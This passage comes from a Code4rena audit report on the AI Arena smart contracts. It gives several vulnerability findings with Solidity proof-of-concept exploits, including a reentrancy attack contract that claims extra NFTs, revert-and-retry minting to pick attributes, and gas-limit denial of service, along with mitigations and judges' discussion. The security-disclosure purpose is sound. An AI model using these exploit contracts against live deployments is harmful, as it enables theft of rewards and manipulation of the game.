    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) public returns (bytes4){
        if(!startAttack){
            return bytes4(keccak256(bytes("onERC721Received(address,address,uint256,bytes)"))); // no reenter
        }

        if(counter > 0){
            return bytes4(keccak256(bytes("onERC721Received(address,address,uint256,bytes)"))); // Reenter only once. (for PoC)
        }

        counter ++;

        // claim for round1 by reenterancy attack
        string[] memory _modelURIs = new string[](1);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](1);
        _modelTypes[0] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](1);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        mergingPool.claimRewards(_modelURIs, _modelTypes, _customAttributes);

        return bytes4(keccak256(bytes("onERC721Received(address,address,uint256,bytes)")));
    }
}

And add this test case to MergingPool.t.sol and run it. The attacker, who can claim 2 NFTs, received 3 NFTs by reentrancy attack.

function testPoCClaimRewardsReentrancy() public {
    address attacker_contract_wallet = address(new PoCClaimRewardsReentrancy(_mergingPoolContract));
    address attacker_EOA = address(0x1337);

    _mintFromMergingPool(_ownerAddress);
    _mintFromMergingPool(attacker_contract_wallet);
    assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
    assertEq(_fighterFarmContract.ownerOf(1), attacker_contract_wallet);
    uint256[] memory _winners = new uint256[](2);
    _winners[0] = 0;
    _winners[1] = 1;
    // winners of roundId 0 are picked
    _mergingPoolContract.pickWinner(_winners);
    assertEq(_mergingPoolContract.isSelectionComplete(0), true);
    assertEq(_mergingPoolContract.winnerAddresses(0, 0) == _ownerAddress, true);
    // winner matches ownerOf tokenId
    assertEq(_mergingPoolContract.winnerAddresses(0, 1) == attacker_contract_wallet, true);

    // winners of roundId 1 are picked
    _mergingPoolContract.pickWinner(_winners);
    assertEq(_mergingPoolContract.isSelectionComplete(1), true);
    assertEq(_mergingPoolContract.winnerAddresses(1, 0) == _ownerAddress, true);
    // winner matches ownerOf tokenId
    assertEq(_mergingPoolContract.winnerAddresses(1, 1) == attacker_contract_wallet, true);

    assertEq(_fighterFarmContract.balanceOf(attacker_contract_wallet), 1);

    // attacker should claim 2 NFT, but attacker can get 3 NFT by reentrancy attack
    vm.prank(attacker_EOA);
    PoCClaimRewardsReentrancy(attacker_contract_wallet).attack();

    uint256 numRewards = _mergingPoolContract.getUnclaimedRewards(attacker_contract_wallet);

    assertEq(_fighterFarmContract.balanceOf(attacker_contract_wallet), 4);
}

Tools Used

Manual Review

You can prevent reentrancy attack by using ReentrancyGuard.

Assessed type

Reentrancy

#0 - c4-pre-sort

2024-02-22T08:35:46Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-02-22T08:35:58Z

raymondfam marked the issue as duplicate of #37

#2 - c4-judge

2024-03-07T02:41:36Z

HickupHH3 marked the issue as satisfactory

Awards

29.1474 USDC - $29.15

Labels

2 (Med Risk)
satisfactory
duplicate-1507

External Links

Judge has assessed an item in Issue #1023 as 2 risk. The relevant finding follows:

AccessControl is being used incorrectly Links to affected code https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/Neuron.sol#L95

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/Neuron.sol#L103

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/Neuron.sol#L111

Impact Using _setupRole for the purpose of grantRole is deprecated and _setupRole should only be used at initialization. Because there is no DEFAULT_ADMIN_ROLE, there is no way to delete the role of the previously registered address.

Proof of Concept When using AccessControl, you have to set the DEFAULT_ADMIN_ROLE or each role’s admin and use the grantRole function to set roles. Using _setupRole for the purpose of grantRole is deprecated and _setupRole should only be used at initialization.

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/access/AccessControl.sol#L194-L203

/** * @dev Grants role to account. * * If account had not been already granted role, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * May emit a {RoleGranted} event. * @> * [WARNING] * ==== @> * This function should only be called from the constructor when setting * up the initial roles for the system. * @> * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * @> * NOTE: This function is deprecated in favor of {_grantRole}. */ In addition, because there is no DEFAULT_ADMIN_ROLE, there is no way to delete the role of the previously registered address when it is changed to a new Minter/Staker/Spender in the future.

Tools Used Manual Review

Recommended Mitigation Steps Set the DEFAULT_ADMIN_ROLE in the constructor. Don’t use _setupRole in the addMinter, addStaker, addSpender functions, use grantRole instead.

#0 - c4-judge

2024-03-21T00:37:32Z

HickupHH3 marked the issue as duplicate of #1507

#1 - c4-judge

2024-03-21T00:37:37Z

HickupHH3 marked the issue as satisfactory

Awards

1.876 USDC - $1.88

Labels

bug
2 (Med Risk)
insufficient quality report
satisfactory
:robot:_30_group
duplicate-932

External Links

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L329 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L502-L505 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/MergingPool.sol#L158

Vulnerability details

Impact

It is possible to set invalid weight or element.

Proof of Concept

The weight should be a value between 65 and 95, and the element should be a number within the numElements setting. Initially, the element can be a value between 0 and 2.

mintFromMergingPool allows the user to freely set the weight and element by receiving custom attributes as a parameter. And it does not validate the customAttributes parameter.

function mintFromMergingPool(
    address to, 
    string calldata modelHash, 
    string calldata modelType, 
    uint256[2] calldata customAttributes
) 
    public 
{
    require(msg.sender == _mergingPoolAddress);
    _createNewFighter(
        to, 
        uint256(keccak256(abi.encode(msg.sender, fighters.length))), 
        modelHash, 
        modelType,
        0,
        0,
@>      customAttributes
    );
}

function _createNewFighter(
    address to, 
    uint256 dna, 
    string memory modelHash,
    string memory modelType, 
    uint8 fighterType,
    uint8 iconsType,
    uint256[2] memory customAttributes
) 
    private 
{  
    require(balanceOf(to) < MAX_FIGHTERS_ALLOWED);
    uint256 element; 
    uint256 weight;
    uint256 newDna;
    if (customAttributes[0] == 100) {
        (element, weight, newDna) = _createFighterBase(dna, fighterType);
    }
    else {
@>      element = customAttributes[0];
@>      weight = customAttributes[1];
@>      newDna = dna;
    }
    ...
}

Therefore, the user can set a weight or element that would originally be impossible. Invalid data can be set to cause a failure in the game.

This is PoC. Add to MergingPool.t.sol and test.

function testPoCInvalidCustomAttributes() public {
    address user = address(0x1337);
    
    _mintFromMergingPool(user);
    _mintFromMergingPool(_ownerAddress);
    assertEq(_fighterFarmContract.ownerOf(0), user);
    assertEq(_fighterFarmContract.ownerOf(1), _ownerAddress);
    assertEq(_fighterFarmContract.balanceOf(user), 1); // user has 1 NFT

    uint256[] memory _winners = new uint256[](2);
    _winners[0] = 0; // pick user as winner
    _winners[1] = 1; 

    _mergingPoolContract.pickWinner(_winners);

    string[] memory _modelURIs = new string[](1);
    string[] memory _modelTypes = new string[](1);
    uint256[2][] memory _customAttributes = new uint256[2][](1);

    _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
    _modelTypes[0] = "original";
    _customAttributes[0][0] = uint256(99); // invalid element
    _customAttributes[0][1] = uint256(99); // invalid weight

    vm.prank(user);
    _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);

    assertEq(_fighterFarmContract.ownerOf(2), user);
    (,,uint256 weight,uint256 element,,,) = _fighterFarmContract.getAllFighterInfo(2);
    assertEq(weight, 99);
    assertEq(element, 99);
}

Tools Used

Manual Review

Check that customAttributes is normal value.

Assessed type

Invalid Validation

#0 - c4-pre-sort

2024-02-24T09:01:44Z

raymondfam marked the issue as insufficient quality report

#1 - c4-pre-sort

2024-02-24T09:01:59Z

raymondfam marked the issue as duplicate of #226

#2 - c4-judge

2024-03-11T10:27:47Z

HickupHH3 marked the issue as satisfactory

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L495 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/MergingPool.sol#L149-L154

Vulnerability details

Impact

A user with more than 10 unclaimed rewards cannot claim rewards forever.

Proof of Concept

In claimRewards, it starts to claim from the past rewards, so it can claim multiple reward NFT at once. It is impossible to request the rewards up to a certain round, and users have to request all the rewards up to the most recent round at once.

function claimRewards(
    string[] calldata modelURIs, 
    string[] calldata modelTypes,
    uint256[2][] calldata customAttributes
) 
    external 
{
    uint256 winnersLength;
    uint32 claimIndex = 0;
    uint32 lowerBound = numRoundsClaimed[msg.sender];
@>  for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
        numRoundsClaimed[msg.sender] += 1;
        winnersLength = winnerAddresses[currentRound].length;
        for (uint32 j = 0; j < winnersLength; j++) {
            if (msg.sender == winnerAddresses[currentRound][j]) {
@>              _fighterFarmInstance.mintFromMergingPool(
                    msg.sender,
                    modelURIs[claimIndex],
                    modelTypes[claimIndex],
                    customAttributes[claimIndex]
                );
                claimIndex += 1;
            }
        }
    }
    if (claimIndex > 0) {
        emit Claimed(msg.sender, claimIndex);
    }
}

However, one account can have maximum of 10 Fighters. If this account has more than 10 unclaimed rewards, this user can never claim rewards because the transaction would be reverted.

function mintFromMergingPool(
    address to, 
    string calldata modelHash, 
    string calldata modelType, 
    uint256[2] calldata customAttributes
) 
    public 
{
    require(msg.sender == _mergingPoolAddress);
@>  _createNewFighter(
        to, 
        uint256(keccak256(abi.encode(msg.sender, fighters.length))), 
        modelHash, 
        modelType,
        0,
        0,
        customAttributes
    );
}

uint8 public constant MAX_FIGHTERS_ALLOWED = 10;
function _createNewFighter(
    address to, 
    uint256 dna, 
    string memory modelHash,
    string memory modelType, 
    uint8 fighterType,
    uint8 iconsType,
    uint256[2] memory customAttributes
) 
    private 
{  
@>  require(balanceOf(to) < MAX_FIGHTERS_ALLOWED);
    ...
}

This is PoC. Add it to the MergingPool.t.sol file and test it.

function testPoCCannotClaimRewardsBecauseOfUpperLimit() public {
    address user = address(0x1337);
    
    _mintFromMergingPool(user);
    _mintFromMergingPool(_ownerAddress);
    assertEq(_fighterFarmContract.ownerOf(0), user);
    assertEq(_fighterFarmContract.ownerOf(1), _ownerAddress);
    assertEq(_fighterFarmContract.balanceOf(user), 1); // user has 1 NFT

    uint256[] memory _winners = new uint256[](2);
    _winners[0] = 0;
    _winners[1] = 1; // pick user as winner

    // winners of roundId 0~9 are picked
    for(uint256 i = 0; i < 10; i ++){
        _mergingPoolContract.pickWinner(_winners);
    }

    string[] memory _modelURIs = new string[](10);
    string[] memory _modelTypes = new string[](10);
    uint256[2][] memory _customAttributes = new uint256[2][](10);

    for(uint256 i = 0; i < 10; i ++){
        _modelURIs[i] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelTypes[i] = "original";
        _customAttributes[i][0] = uint256(1);
        _customAttributes[i][1] = uint256(80);
    }

    vm.expectRevert();
    vm.prank(user);
    _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);
   
}

Tools Used

Manual Review

Allow users to specify a range of rounds to claim.

function claimRewards(
    string[] calldata modelURIs, 
    string[] calldata modelTypes,
    uint256[2][] calldata customAttributes,
+   uint256 endRound
) 
    external 
{
+   require(endRound <= roundId && numRoundsClaimed[msg.sender] < endRound);
    uint256 winnersLength;
    uint32 claimIndex = 0;
    uint32 lowerBound = numRoundsClaimed[msg.sender];
-   for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
+   for (uint32 currentRound = lowerBound; currentRound < endRound; currentRound++) {
        numRoundsClaimed[msg.sender] += 1;
        ...
    }
    ...
}

Assessed type

Other

#0 - c4-pre-sort

2024-02-22T08:36:58Z

raymondfam marked the issue as insufficient quality report

#1 - c4-pre-sort

2024-02-22T08:37:05Z

raymondfam marked the issue as primary issue

#2 - c4-pre-sort

2024-02-22T08:39:59Z

raymondfam marked the issue as sufficient quality report

#3 - raymondfam

2024-02-26T01:48:17Z

Pretty edge case on the lucky winner. This should be preventable if the user were to transfer some of the fighters to another address he/she owns.

#4 - c4-sponsor

2024-03-04T01:13:49Z

brandinho (sponsor) confirmed

#5 - c4-judge

2024-03-11T12:48:01Z

HickupHH3 marked the issue as satisfactory

#6 - c4-judge

2024-03-11T12:51:14Z

HickupHH3 marked the issue as selected for report

#7 - HickupHH3

2024-03-11T12:54:29Z

will be a problem if user has >= 11 unclaimed rounds.

#8 - McCoady

2024-03-19T14:03:10Z

Hi, this issue and it's duplicates contain reports on 3 different DoS instances in both RankedBattle::claimRewards (2) and MergingPool::claimNRN(1).

1 - Users with more than 10 unclaimed rewards revert

This seems most unlikely, given that:

  • User would have to win at least 11 rounds
  • Never claim their rewards until then
  • Given the winner is not actually chosen on chain the project team would have to continue deciding to award this account (as it's unclear from the codebase how "winner" is chosen)

I believe with input from the sponsors they'd likely confirm that this scenario is actually the most unlikely of the three.

2 - Users have to loop from their last claimed round to current round in claimRewards

  • User doesn't win between rounds 0 and 100
  • User wins round 101, cannot avoid loop through rounds 0-100 unnecessarily wasting their gas

3 - Users have to loop from their last claimed round to current round in claimNRN

  • Same issue as above, however gas cost per loop escalates even quicker than in the previously mentioned case.

..

The selected report doesn't mention the two other DoS instances, and although the proposed mitigation would also mitigate # 2, the sponsor may remain unaware of # 3 (which actually has a steeper gas escalation curve than # 2, meaning it's more likely to eventually end up a complete DoS rather than just an unfair gas ramp up)

A final point, issues #47 & #1507 similarly share a root vulnerability type but have been marked as separate issues while these three have been grouped together.

#9 - mcgrathcoutinho

2024-03-19T18:44:11Z

Hi @HickupHH3, adding on to the different issues pointed out by @McCoady above:

1. Users with more than 10 unclaimed rewards revert

As @McCoady mentioned, this is a highly unlikely scenario.

2. Users have to loop from their last claimed round to current round in claimRewards

This issue describes a different attack vector where newer users or users who won recently are required to loop through all rounds. This is more gas intensive since it executes a nested for loop with an external call to mintFromMergingPool(), which itself also has gas intensive calculations occurring when generating fighters and minting them.

3. Users have to loop from their last claimed round to current round in claimNRN

This issue should be decoupled from the remaining two mentioned above and treated as QA severity. Considering that rounds are expected to run bi-weekly (every two weeks) and the function only runs one for loop which is not gas intensive (compared to 2 above which is nested along with more calculations), I believe it makes sense to treat it as QA.

Conclusion

I believe it would make sense to treat (2) as the primary with (1) being partially duplicated under it (since mitigating either would solve both issues). Issue (3) should be treated as a separate issue since it is not occurring in the same contract and deals with NRN and not Fighter NFTs.

Please consider re-evaluating this issue. I hope my assessment assists your judgement.

Thank you for your time.

#10 - HickupHH3

2024-03-20T09:41:10Z

TLDR: will be separating all 3 categories.

## 1. Users with more than 10 unclaimed rewards revert

Agree that it's unlikely to happen, but if it does, the user will be unable to claim the NFTs he won

## 2. Loop in claimRewards()

Likelihood depends on the number of winners in each round to iterate and the number of NFTs won.

## 3. Loop in claimNRN()

Likelihood depends on whether the figher has any points accumulated, but should be lower than (1) and (2) because the ERC20 transfer is done once


Severity, will be keeping all as medium, no change.

#11 - HickupHH3

2024-03-20T14:43:31Z

Been thinking about this for a while. Am keeping all categories grouped together, with #868 as the best report as it covers both claimNRN() and claimRewards() with POC.

The root cause of all 3 categories is the same: unbounded looping that either exceeds the maximum fighter account balance limit of 10 NFT, or the block gas limit. Solving the root cause with bounded looping mitigates all issues.

I base off the duplication reasoning off this: https://docs.code4rena.com/awarding/judging-criteria/supreme-court-decisions-fall-2023#verdict-similar-exploits-under-a-single-issue

The findings are duplicates if they share the same root cause.

More specifically, if fixing the Root Cause (in a reasonable manner) would cause the finding to no longer be exploitable, then the findings are duplicates.

This is the same reasoning why I kept #47 and #1507 separate. Both have the same impact of not being able to revoke roles, but #47 has to do with no toggle-able flag; #1507 has to do with the lack of DEFAULT_ADMIN_ROLE being set up. Fixing either one as a standalone doesn't solve both issues; separate different solutions are required.

I note that the category 1 duplication isn't clear-cut: even with bounded looping, there would be an inconvenience in having to transfer his fighter(s) to another account to claim more rewards once his balance reaches the maximum limit. Nevertheless, the problem of not being able to claim fighters entirely is mitigated.


Given the above, when similar exploits would demonstrate different impacts, the highest, most irreversible would be the one used for scoring the finding. Duplicates of the finding will be graded based on the achieved impact relative to the Submission Chosen for Report.

All 3 categories have the same impact of not being able to claim fighters / NRN. It's difficult to say if Category 3 has a larger impact over Category 1/2:

  • Size (no. of ppl affected, likelihood): all players who have accumulated points in a round vs number of selected winners
  • Number of transfers (gas costs): 1 ERC20 transfer vs multiple NFT transfers
  • Number of iterations: no. of rounds vs nested for-loop (accumulated number of winners up to current round)

As such, will treat all categories equally.

#12 - c4-judge

2024-03-21T02:04:15Z

HickupHH3 marked issue #868 as primary and marked this issue as a duplicate of 868

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/MergingPool.sol#L149-L152

Vulnerability details

Impact

Cannot claim reward due to the gas limit.

Proof of Concept

In claimRewards, it checks all past arrays to request rewards. For example, if a user first wins in round 10, the user has to find by checking all the winner arrays from round 0 to 10. Also, users who participate after many rounds also have to start from round 0. In addition, because it requests all unclaimed reward NFTs from the past at once, it can consume a lot of gas.

function claimRewards(
    string[] calldata modelURIs, 
    string[] calldata modelTypes,
    uint256[2][] calldata customAttributes
) 
    external 
{
    uint256 winnersLength;
    uint32 claimIndex = 0;
    uint32 lowerBound = numRoundsClaimed[msg.sender];
@>  for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
        numRoundsClaimed[msg.sender] += 1;
        winnersLength = winnerAddresses[currentRound].length;
@>      for (uint32 j = 0; j < winnersLength; j++) {
            if (msg.sender == winnerAddresses[currentRound][j]) {
                _fighterFarmInstance.mintFromMergingPool(
                    msg.sender,
                    modelURIs[claimIndex],
                    modelTypes[claimIndex],
                    customAttributes[claimIndex]
                );
                claimIndex += 1;
            }
        }
    }
    if (claimIndex > 0) {
        emit Claimed(msg.sender, claimIndex);
    }
}

If many rounds have passed or if a large amount of NFT is claimed, the gas limit may be reached and the transaction may be reverted. This user can never claim their rewards.

This is a PoC. Add it to the MergingPool.t.sol file and test it. In this PoC, we selected many winners and passed many rounds to provide an extreme example of a revert by consuming more than 32,000,000 gas, which is the block gas limit. However, it could revert with fewer winners and rounds in a more realistic situation.

function testPoCCannotClaimRewardsBecauseOfGasLimit() public {
    address user = address(0x1337);
    
    _mintFromMergingPool(user);
    _mintFromMergingPool(_ownerAddress);
    assertEq(_fighterFarmContract.ownerOf(0), user);
    assertEq(_fighterFarmContract.ownerOf(1), _ownerAddress);
    assertEq(_fighterFarmContract.balanceOf(user), 1); // user has one NFT
    
    // increased winner 
    uint256 winnersPerPeriod = 100;
    _mergingPoolContract.updateWinnersPerPeriod(winnersPerPeriod);
    assertEq(_mergingPoolContract.winnersPerPeriod(), winnersPerPeriod);

    uint256[] memory _winners = new uint256[](winnersPerPeriod);
    for(uint256 i = 0 ; i < winnersPerPeriod; i ++){
        _winners[i] = 1; // _ownerAddress picked
    }

    // other users wins at past round.
    for(uint256 i = 0; i < 550; i ++){
        _mergingPoolContract.pickWinner(_winners);
    }

    // user picked 9 times
    _winners[winnersPerPeriod -1] = 0;
    for(uint256 i = 0; i < 9; i ++){ // user picked nine time
        _mergingPoolContract.pickWinner(_winners);
    }

    string[] memory _modelURIs = new string[](9);
    string[] memory _modelTypes = new string[](9);
    uint256[2][] memory _customAttributes = new uint256[2][](9);
    
    for(uint256 i = 0 ; i < 9; i++){
        _modelURIs[i] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelTypes[i] = "original";
        _customAttributes[i][0] = uint256(1);
        _customAttributes[i][1] = uint256(80);
    }

    vm.expectRevert();
    vm.prank(user);
    // user claims first time, it starts from round 0 // Block gas limit 32,000,000 https://docs.arbitrum.io/for-devs/chain-params
    _mergingPoolContract.claimRewards{gas: 32000000 }(_modelURIs, _modelTypes, _customAttributes);
}

Tools Used

Manual Review

You don't need to traverse the array if you use a map instead.

+ mapping(uint256 => mapping(address => uint256)) winners;

function pickWinner(uint256[] calldata winners) external {
    require(isAdmin[msg.sender]);
    require(winners.length == winnersPerPeriod, "Incorrect number of winners");
    require(!isSelectionComplete[roundId], "Winners are already selected");
    uint256 winnersLength = winners.length;
    address[] memory currentWinnerAddresses = new address[](winnersLength);
    for (uint256 i = 0; i < winnersLength; i++) {
        currentWinnerAddresses[i] = _fighterFarmInstance.ownerOf(winners[i]);
        totalPoints -= fighterPoints[winners[i]];
        fighterPoints[winners[i]] = 0;
    }
-   winnerAddresses[roundId] = currentWinnerAddresses;
+   winners[roundId][currentWinnerAddresses] += 1;
    isSelectionComplete[roundId] = true;
    roundId += 1;
}

function claimRewards(
    string[] calldata modelURIs, 
    string[] calldata modelTypes,
    uint256[2][] calldata customAttributes
) 
    external 
{
    uint256 winnersLength;
    uint32 claimIndex = 0;
    uint32 lowerBound = numRoundsClaimed[msg.sender];
    for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
        numRoundsClaimed[msg.sender] += 1;
        winnersLength = winnerAddresses[currentRound].length;
-       for (uint32 j = 0; j < winnersLength; j++) {
-           if (msg.sender == winnerAddresses[currentRound][j]) {
+       for(uint32 j = 0; j < winners[roundId][msg.sender]; j++) {
                _fighterFarmInstance.mintFromMergingPool(
                    msg.sender,
                    modelURIs[claimIndex],
                    modelTypes[claimIndex],
                    customAttributes[claimIndex]
                );
                claimIndex += 1;
            }
        }
    }
    if (claimIndex > 0) {
        emit Claimed(msg.sender, claimIndex);
    }
}

Assessed type

Loop

#0 - c4-pre-sort

2024-02-23T23:56:04Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-02-23T23:56:14Z

raymondfam marked the issue as duplicate of #1541

#2 - c4-judge

2024-03-11T13:01:06Z

HickupHH3 marked the issue as duplicate of #216

#3 - c4-judge

2024-03-12T02:35:48Z

HickupHH3 marked the issue as partial-50

#4 - c4-judge

2024-03-21T02:12:39Z

HickupHH3 marked the issue as satisfactory

Judge has assessed an item in Issue #1023 as 2 risk. The relevant finding follows:

Block claimFighters and redeemMintPasses from claiming more than 10

#0 - c4-judge

2024-03-11T12:56:00Z

HickupHH3 marked the issue as duplicate of #216

#1 - c4-judge

2024-03-11T12:56:15Z

HickupHH3 marked the issue as satisfactory

#2 - c4-judge

2024-03-11T12:56:21Z

HickupHH3 marked the issue as partial-50

#3 - c4-judge

2024-03-21T03:02:29Z

HickupHH3 marked the issue as satisfactory

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L484

Vulnerability details

Impact

Can mint NFT with the desired attribute.

Proof of Concept

All the attributes of the NFT that should be randomly determined are set in the same transaction which they're claimed. Therefore, if a user uses a contract wallet, they can intentionally revert the transaction and retry minting if they do not get the desired attribute.

function _createNewFighter(
    address to, 
    uint256 dna, 
    string memory modelHash,
    string memory modelType, 
    uint8 fighterType,
    uint8 iconsType,
    uint256[2] memory customAttributes
) 
    private 
{  
    require(balanceOf(to) < MAX_FIGHTERS_ALLOWED);
    uint256 element; 
    uint256 weight;
    uint256 newDna;
    if (customAttributes[0] == 100) {
@>      (element, weight, newDna) = _createFighterBase(dna, fighterType);
    }
    else {
        element = customAttributes[0];
        weight = customAttributes[1];
        newDna = dna;
    }
    uint256 newId = fighters.length;

    bool dendroidBool = fighterType == 1;
@>  FighterOps.FighterPhysicalAttributes memory attrs = _aiArenaHelperInstance.createPhysicalAttributes(
        newDna,
        generation[fighterType],
        iconsType,
        dendroidBool
    );
    fighters.push(
        FighterOps.Fighter(
            weight,
            element,
            attrs,
            newId,
            modelHash,
            modelType,
            generation[fighterType],
            iconsType,
            dendroidBool
        )
    );
@>  _safeMint(to, newId);
    FighterOps.fighterCreatedEmitter(newId, weight, element, generation[fighterType]);
}

function _createFighterBase(
    uint256 dna, 
    uint8 fighterType
) 
    private 
    view 
    returns (uint256, uint256, uint256) 
{
    uint256 element = dna % numElements[generation[fighterType]];
    uint256 weight = dna % 31 + 65;
    uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
    return (element, weight, newDna);
}

This is PoC.

First, add the PoCCanClaimSpecificAttributeByRevert contract at the bottom of the FighterFarm.t.sol file. This contract represents a user-customizable contract wallet. If the user does not get an NFT with desired attributes, they can revert the transaction and retry minting again.

contract PoCCanClaimSpecificAttributeByRevert {
    FighterFarm fighterFarm;
    address owner;

    constructor(FighterFarm _fighterFarm) {
        fighterFarm = _fighterFarm;
        owner = msg.sender;
    }

    function tryClaim(uint8[2] memory numToMint, bytes memory claimSignature, string[] memory claimModelHashes, string[] memory claimModelTypes) public {
        require(msg.sender == owner, "not owner");
        try fighterFarm.claimFighters(numToMint, claimSignature, claimModelHashes, claimModelTypes) {
            // success to get specific attribute NFT
        } catch {
            // try again next time
        }
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) public returns (bytes4){
        
        (,,uint256 weight,,,,) = fighterFarm.getAllFighterInfo(tokenId);
        require(weight == 95, "I don't want this attribute");

        return bytes4(keccak256(bytes("onERC721Received(address,address,uint256,bytes)")));
    }
}

Then, add this test to the FighterFarm.t.sol file and run it.

function testPoCCanClaimSpecificAttributeByRevert() public {
    uint256 signerPrivateKey = 0xabc123;
    address _POC_DELEGATED_ADDRESS = vm.addr(signerPrivateKey);

    // setup fresh setting to use _POC_DELEGATED_ADDRESS
    _fighterFarmContract = new FighterFarm(_ownerAddress, _POC_DELEGATED_ADDRESS, _treasuryAddress);
    _helperContract = new AiArenaHelper(_probabilities);
    _mintPassContract = new AAMintPass(_ownerAddress, _POC_DELEGATED_ADDRESS);
    _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract));
    _mintPassContract.setPaused(false);
    _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress);
    _voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract));
    _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress);
    _rankedBattleContract = new RankedBattle(
        _ownerAddress, address(_fighterFarmContract), _POC_DELEGATED_ADDRESS, address(_voltageManagerContract)
    );
    _rankedBattleContract.instantiateNeuronContract(address(_neuronContract));
    _mergingPoolContract =
        new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract));
    _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));
    _fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract));
    _fighterFarmContract.instantiateMintpassContract(address(_mintPassContract));
    _fighterFarmContract.instantiateNeuronContract(address(_neuronContract));
    _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));

    // --- PoC start ---
    address attacker_eoa = address(0x1337);
    vm.prank(attacker_eoa);
    PoCCanClaimSpecificAttributeByRevert attacker_contract_wallet = new PoCCanClaimSpecificAttributeByRevert(_fighterFarmContract);

    uint8[2] memory numToMint = [1, 0];
    
    string[] memory claimModelHashes = new string[](1);
    claimModelHashes[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

    string[] memory claimModelTypes = new string[](1);
    claimModelTypes[0] = "original";
    
    // get sign
    vm.startPrank(_POC_DELEGATED_ADDRESS);
    bytes32 msgHash = keccak256(abi.encode(
        address(attacker_contract_wallet),
        numToMint[0],
        numToMint[1],
        0, // nftsClaimed[msg.sender][0],
        0 // nftsClaimed[msg.sender][1]
    ));

    bytes memory prefix = "\x19Ethereum Signed Message:\n32";
    bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, msgHash));

    (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPrivateKey, prefixedHash);
    bytes memory claimSignature = abi.encodePacked(r, s, v);
    vm.stopPrank();

    for(uint160 i = 100; _fighterFarmContract.balanceOf(address(attacker_contract_wallet)) == 0; i++){
        vm.prank(attacker_eoa);
        attacker_contract_wallet.tryClaim(numToMint, claimSignature, claimModelHashes, claimModelTypes);

        // other user mints NFT, the fighters.length changes and DNA would be changed
        _mintFromMergingPool(address(i)); // random user claim their NFT
    }
   
    assertEq(_fighterFarmContract.balanceOf(address(attacker_contract_wallet)), 1);
    uint256 tokenId = _fighterFarmContract.tokenOfOwnerByIndex(address(attacker_contract_wallet), 0);
    (,,uint256 weight,,,,) = _fighterFarmContract.getAllFighterInfo(tokenId);
    assertEq(weight, 95);
}

Tools Used

Manual Review

Users should only request minting, and attributes values should not be determined in the transaction called by the user. When a user claims an NFT, it should only mint the NFT and end. The attribute should be set by the admin or third-party like chainlink VRF after minting so that the user cannot manipulate it.

It’s not about lack of randomless problem, this is about setting attributes at same transaction when minting NFT. Even if you use chainlink, the same bug can happen if you set the attribute and mint NFTs in the same transaction.

Assessed type

Other

#0 - c4-pre-sort

2024-02-25T03:26:49Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-02-25T03:27:17Z

raymondfam marked the issue as duplicate of #53

#2 - c4-judge

2024-03-06T03:49:26Z

HickupHH3 changed the severity to 3 (High Risk)

#3 - c4-judge

2024-03-06T03:56:38Z

HickupHH3 marked the issue as satisfactory

#4 - c4-judge

2024-03-14T14:43:09Z

HickupHH3 marked the issue as not a duplicate

#5 - HickupHH3

2024-03-14T14:44:46Z

